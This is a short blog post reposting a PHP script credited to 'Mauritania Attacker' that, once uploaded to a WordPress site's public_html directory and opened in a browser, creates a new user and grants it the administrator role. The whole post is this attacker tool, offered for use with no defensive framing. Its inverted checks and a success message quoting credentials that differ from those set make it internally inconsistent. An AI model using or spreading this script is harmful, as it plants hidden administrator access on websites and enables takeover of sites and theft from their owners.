[PHP] Wordpress Add Admin User

<?php
// Admin User Auto Add Coded By Mauritania Attacker
// Don't Forget to remove this script after user add ! 
// Put this file in your Wordpress /Public_html Directory and run it from your browser \!/


require_once('wp-blog-header.php');
require_once('wp-includes/registration.php');

// Change this , you are free to put the logins you want ^_^
$newusername = 'jdk';
$newpassword = 'anonymous';
$newemail = 'jokerdarkknight@outlook.com';

// Set The Configs vars
if ( $newpassword != 'anonymous' && $newemail != 'jokerdarkknight@outlook.com' && $newusername !='jdk'  ) 
{
 // Check that the user doesn't exist already
 if ( !username_exists($newusername) && !email_exists($newemail) ) 
 {
  // Create the admin user and set the role to Administrator
  $user_id = wp_create_user( $newusername, $newpassword, $newemail);
  if ( is_int($user_id) )
  {
   $wp_user_object = new WP_User($user_id);
   $wp_user_object->set_role('administrator');
   echo 'Successfully created new admin user. Now delete this script ^_^ and dont be lazy !  new user:ghost and new pass:12345678';
  } 
  else {
   echo 'Error with wp_insert_user. No users were created , you are drunk man xD go watch cartoon !';
  }
 } 
 else {
  echo 'This user or email already exists , you are drunk man xD put glasses °_° !';
 }
} 
else {
 echo "You didn't set a password, username, or email inside the script before running the script , you drunk man xD !";
}

?>
[PHP] Wordpress Add Admin User Reviewed by Nguyen Nam Hong on 10:50 AM Rating: 5
Copyright © Kid1412 Blog's 💖 2016
Development by Hong Nguyen Nam
Powered by Blogger.